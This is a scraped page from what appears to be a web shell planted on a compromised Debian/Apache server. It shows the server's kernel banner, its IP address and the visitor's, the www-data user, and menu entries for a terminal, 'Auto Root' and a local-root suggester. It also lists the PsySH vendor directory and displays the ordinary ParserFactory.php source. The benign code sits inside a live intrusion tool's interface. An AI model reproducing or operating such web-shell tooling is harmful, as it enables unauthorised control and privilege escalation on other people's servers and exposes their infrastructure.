Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iNetty /
vendor /
psy /
psysh /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
CodeCleaner
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Command
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Exception
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
ExecutionLoop
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Formatter
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Input
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Output
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Readline
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Reflection
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Sudo
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
TabCompletion
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
Util
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
VarDumper
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
VersionUpdater
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
CodeCleaner.php
11.91
KB
-rw-r--r--
2022-04-21 14:22
ConfigPaths.php
10.53
KB
-rw-r--r--
2022-04-21 14:22
Configuration.php
51.69
KB
-rw-r--r--
2022-04-21 14:22
ConsoleColorFactory.php
757
B
-rw-r--r--
2022-04-21 14:22
Context.php
7.81
KB
-rw-r--r--
2022-04-21 14:22
ContextAware.php
567
B
-rw-r--r--
2022-04-21 14:22
EnvInterface.php
443
B
-rw-r--r--
2022-04-21 14:22
ExecutionClosure.php
2.25
KB
-rw-r--r--
2022-04-21 14:22
ExecutionLoopClosure.php
3.12
KB
-rw-r--r--
2022-04-21 14:22
ParserFactory.php
1.61
KB
-rw-r--r--
2022-04-21 14:22
Shell.php
43.99
KB
-rw-r--r--
2022-04-21 14:22
Sudo.php
5.01
KB
-rw-r--r--
2022-04-21 14:22
SuperglobalsEnv.php
620
B
-rw-r--r--
2022-04-21 14:22
functions.php
15.17
KB
-rw-r--r--
2022-04-21 14:22
Save
Rename
<?php /* * This file is part of Psy Shell. * * (c) 2012-2022 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; use PhpParser\Parser; use PhpParser\ParserFactory as OriginalParserFactory; /** * Parser factory to abstract over PHP parser library versions. */ class ParserFactory { const ONLY_PHP5 = 'ONLY_PHP5'; const ONLY_PHP7 = 'ONLY_PHP7'; const PREFER_PHP5 = 'PREFER_PHP5'; const PREFER_PHP7 = 'PREFER_PHP7'; /** * Possible kinds of parsers for the factory, from PHP parser library. * * @return array */ public static function getPossibleKinds(): array { return ['ONLY_PHP5', 'ONLY_PHP7', 'PREFER_PHP5', 'PREFER_PHP7']; } /** * Default kind (if supported, based on current interpreter's version). * * @return string|null */ public function getDefaultKind() { return static::ONLY_PHP7; } /** * New parser instance with given kind. * * @param string|null $kind One of class constants (only for PHP parser 2.0 and above) * * @return Parser */ public function createParser($kind = null): Parser { $originalFactory = new OriginalParserFactory(); $kind = $kind ?: $this->getDefaultKind(); if (!\in_array($kind, static::getPossibleKinds())) { throw new \InvalidArgumentException('Unknown parser kind'); } $parser = $originalFactory->create(\constant(OriginalParserFactory::class.'::'.$kind)); return $parser; } }